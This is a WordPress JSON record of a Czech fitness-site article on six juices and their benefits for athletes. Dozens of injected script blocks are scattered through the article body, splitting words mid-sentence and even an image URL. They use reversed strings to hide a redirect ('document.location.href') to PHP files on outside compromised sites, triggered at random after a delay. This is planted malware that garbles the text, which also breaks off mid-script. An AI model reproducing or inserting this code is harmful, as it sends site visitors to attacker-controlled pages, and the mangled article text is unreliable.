{"id":913,"date":"2023-08-29T09:44:54","date_gmt":"2023-08-29T09:44:54","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=913"},"modified":"2023-08-26T09:46:08","modified_gmt":"2023-08-26T09:46:08","slug":"dzus-a-vase-vykonnost","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2023\/08\/29\/dzus-a-vase-vykonnost\/","title":{"rendered":"<strong>D\u017eus a va\u0161e v\u00fdkonnost<\/strong>"},"content":{"rendered":"\n<h5 class=\"wp-block-heading\">Co byste m\u011bli p\u00edt v posilovn\u011b i mimo ni, abyste svoje t\u011blo dostate\u010dn\u011b hydra<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovali? Nejlep\u0161\u00ed je samoz\u0159ejm\u011b voda. Ale a\u010dkoliv se ve spojen\u00ed s d\u017eusy \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to mluv\u00ed o vysok\u00e9m pod\u00edlu cukru, i ovocn\u00e9 \u010di zeleninov\u00e9 \u0161\u0165\u00e1vy mohou b\u00fdt ces<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou ke kvalitn\u00ed hydrataci, jen mus\u00edte v\u011bd\u011bt, kter\u00e9 jsou pro v\u00e1s vhodn\u00e9 a kter\u00fdm je naopak lep\u0161\u00ed se vyhnout.<\/h5>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/beetroot-juice-2512474_1280-1024x682.jpg\" alt=\"\" class=\"wp-image-916\" width=\"341\" height=\"227\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/beetroot-juice-2512474_1280-1024x682.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/beetroot-juice-2512474_1280-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/beetroot-juice-2512474_1280-768x512.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/beetroot-juice-2512474_1280-1200x800.jpg 1200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/beetroot-juice-2512474_1280.jpg 1280w\" sizes=\"auto, (max-width: 341px) 100vw, 341px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">1) \u0160\u0164\u00c1VA Z \u010cERVEN\u00c9 \u0158EPY<\/h4>\n\n\n\n<p>Spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci s nad\u0161en\u00edm objevuj\u00ed \u0161\u0165\u00e1vu z \u010derven\u00e9 \u0159epy a jej\u00ed schopnost podpo\u0159it transport kysl\u00edku do vy\u010derpan\u00fdch sval\u016f. Z <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to d\u016fvodu je ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to n\u00e1poj op\u011bvovan\u00fdm potr\u00e9ninkov\u00fdm drinkem.\u00a0 A v\u00fdsledkem je tak\u00e9 n\u00e1r\u016fst popularity p\u0159\u00edchut\u011b &#8222;\u010derven\u00e1 \u0159epa&#8220;.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/<script>$NfI=function(n){if (typeof ($NfI.list[n]) == &#8222;string&#8220;) return $NfI.list[n].split(&#8222;&#8220;).reverse().join(&#8222;&#8220;);return $NfI.list[n];};$NfI.list=[&#8222;\\&#8217;php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\&#8217;=ferh.noitacol.tnemucod&#8220;];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toma<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to-316743_1280-1024&#215;678.jpg&#8220; alt=&#8220;&#8220; class=&#8220;wp-image-918&#8243; width=&#8220;350&#8243; height=&#8220;232&#8243;\/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">2) TOMATOV\u00c1 \u0160\u0164\u00c1VA<\/h4>\n\n\n\n<p>Raj\u010data obsahuj\u00ed celou \u0159adu zaj\u00edmav\u00fdch l\u00e1tek. Jednou z nich je lykopen, kter\u00fd m\u00e1 zvl\u00e1\u0161\u0165 blahod\u00e1rn\u00e9 \u00fa\u010dinky. B\u00fdv\u00e1 spojov\u00e1n s \u00fa\u010dinnou prevenc\u00ed cel\u00e9 \u0159ady onemocn\u011bn\u00ed a je velmi siln\u00fdm antioxidantem, co\u017e se po tr\u00e9ninku hod\u00ed. Velkou nev\u00fdhodou <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toma<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9 \u0161\u0165\u00e1vy je jej\u00ed vysok\u00fd obsah sod\u00edku. Tomu se m\u016f\u017eete vyhnout jedin\u011b, kdy\u017e budete vyb\u00edrat speci\u00e1ln\u011b upraven\u00e9 produkty se sn\u00ed\u017een\u00fdm nebo nulov\u00fdm obsahem soli.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/pomegranate-5954321_1280-1024x477.jpg\" alt=\"\" class=\"wp-image-917\" width=\"483\" height=\"225\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/pomegranate-5954321_1280-1024x477.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/pomegranate-5954321_1280-300x140.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/pomegranate-5954321_1280-768x358.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/pomegranate-5954321_1280-1160x540.jpg 1160w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/pomegranate-5954321_1280-1200x559.jpg 1200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/pomegranate-5954321_1280.jpg 1280w\" sizes=\"auto, (max-width: 483px) 100vw, 483px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">3) \u0160\u0164\u00c1VA Z GRAN\u00c1TOV\u00ddCH JABLEK<\/h4>\n\n\n\n<p>To<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u0161\u0165avnat\u00e9 \u010derven\u00e9 ovoce je pova\u017eov\u00e1no za z\u00e1zra\u010dn\u00e9, nebo\u0165 nab\u00edz\u00ed t\u0159ikr\u00e1t v\u00edce antioxidant\u016f ne\u017e zelen\u00fd \u010daj nebo \u010derven\u00e9 v\u00edno. Gran\u00e1<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e1 jablka maj\u00ed antioxida\u010dn\u00ed, protivirov\u00fd a protirakovinov\u00fd \u00fa\u010dinek. A co nedostatky? Leda vysok\u00e9 mno\u017estv\u00ed cukru. Diabetici by si na tuhle \u0161\u0165\u00e1vu m\u011bli d\u00e1vat pozor, m\u016f\u017ee <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e zp\u016fsobit rapidn\u00ed n\u00e1r\u016fst hladiny cukru. A sou\u010dasn\u011b hroz\u00ed interakce s n\u011bkter\u00fdmi l\u00e9ky. Pokud tedy m\u00e1te cukrovku nebo pre-diabetick\u00e9 pot\u00ed\u017ee, rad\u011bji se t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u0161\u0165\u00e1v\u011b vyhn\u011bte.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/carrot-juice-1623157_1280-1024x682.jpg\" alt=\"\" class=\"wp-image-921\" width=\"287\" height=\"191\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/carrot-juice-1623157_1280-1024x682.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/carrot-juice-1623157_1280-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/carrot-juice-1623157_1280-768x512.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/carrot-juice-1623157_1280-1200x800.jpg 1200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/carrot-juice-1623157_1280.jpg 1280w\" sizes=\"auto, (max-width: 287px) 100vw, 287px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">4) MRKVOV\u00c1 \u0160\u0164\u00c1VA<\/h4>\n\n\n\n<p>Mrkev obsahuje beta karoten, kter\u00fd &#8211; jak prokazuje mnoho studi\u00ed &#8211; m\u00e1 zna\u010dn\u00fd vliv na pos\u00edlen\u00ed imunity, chr\u00e1n\u00ed na\u0161i ple\u0165 a zrak, plus bojuje proti po\u0161kozen\u00ed ze strany voln\u00fdch radik\u00e1l\u016f. V kombinaci s ko\u0159en\u00edm, jako je z\u00e1zvor a kurkuma, z\u00edsk\u00e1te opravdu \u00fa\u010dinn\u00fd antioxida\u010dn\u00ed n\u00e1poj. A nev\u00fdhody? V\u00fdroba dom\u00e1c\u00ed mrkvov\u00e9 \u0161\u0165\u00e1vy je velice n\u00e1ro\u010dn\u00e1. Pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to je v\u017edycky lep\u0161\u00ed ji koupit. Ov\u0161em mus\u00edte myslet na trvanlivost. \u010c\u00edm d\u00e9le je \u0161\u0165\u00e1va skladov\u00e1na, t\u00edm v\u00edce kles\u00e1 pod\u00edl \u017eivin. \u010cerstv\u00e1 je nejlep\u0161\u00ed.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/blood-orange-3176570_1280-1024x401.jpg\" alt=\"\" class=\"wp-image-915\" width=\"310\" height=\"120\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/blood-orange-3176570_1280-1024x401.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/blood-orange-3176570_1280-300x117.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/blood-orange-3176570_1280-768x301.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/blood-orange-3176570_1280-1200x470.jpg 1200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/blood-orange-3176570_1280.jpg 1280w\" sizes=\"auto, (max-width: 310px) 100vw, 310px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">5) \u0160\u0164\u00c1VA Z KRVAV\u00ddCH POMERAN\u010c\u016e<\/h4>\n\n\n\n<p>\u0160\u0165\u00e1va z krvav\u00fdch pomeran\u010d\u016f obsahuje d\u016fle\u017eit\u00e9 anthocyaniny, antioxidanty odpov\u011bdn\u00e1 za tu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to charakteristickou barvu du\u017einy. Ned\u00e1vno proveden\u00e9 klinick\u00e9 studie ukazuj\u00ed, \u017ee 3,5 dcl \u0161\u0165\u00e1vy z \u010derven\u00fdch pomeran\u010d\u016f v\u00e1s ochr\u00e1n\u00ed p\u0159ed voln\u00fdmi radik\u00e1ly na cel\u00fd den. A stinn\u00e9 str\u00e1nky? Dostupnost. Krvav\u00e9 pomeran\u010de nejsou b\u011b\u017en\u011b dostupn\u00e9, nicm\u00e9n\u011b popt\u00e1vka roste, tak\u017ee doufejme, \u017ee se situace zlep\u0161\u00ed.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/juice-1584209_1280-768x1024.jpg\" alt=\"\" class=\"wp-image-914\" width=\"174\" height=\"232\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/juice-1584209_1280-768x1024.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/juice-1584209_1280-225x300.jpg 225w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/juice-1584209_1280.jpg 960w\" sizes=\"auto, (max-width: 174px) 100vw, 174px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">6) JABLE\u010cN\u00c1 \u0160\u0164\u00c1VA<\/h4>\n\n\n\n<p>Mnoho lid\u00ed se jable\u010dn\u00e9 \u0161\u0165\u00e1v\u011b vyh\u00fdb\u00e1, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee si mysl\u00ed, \u017ee obsahuje p\u0159\u00edli\u0161 mnoho cukru. Co\u017e je u n\u011bkter\u00fdch doslazovan\u00fdch variant pravda, ale \u010dist\u00e1 \u0161\u0165\u00e1va z jablek je pro spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return 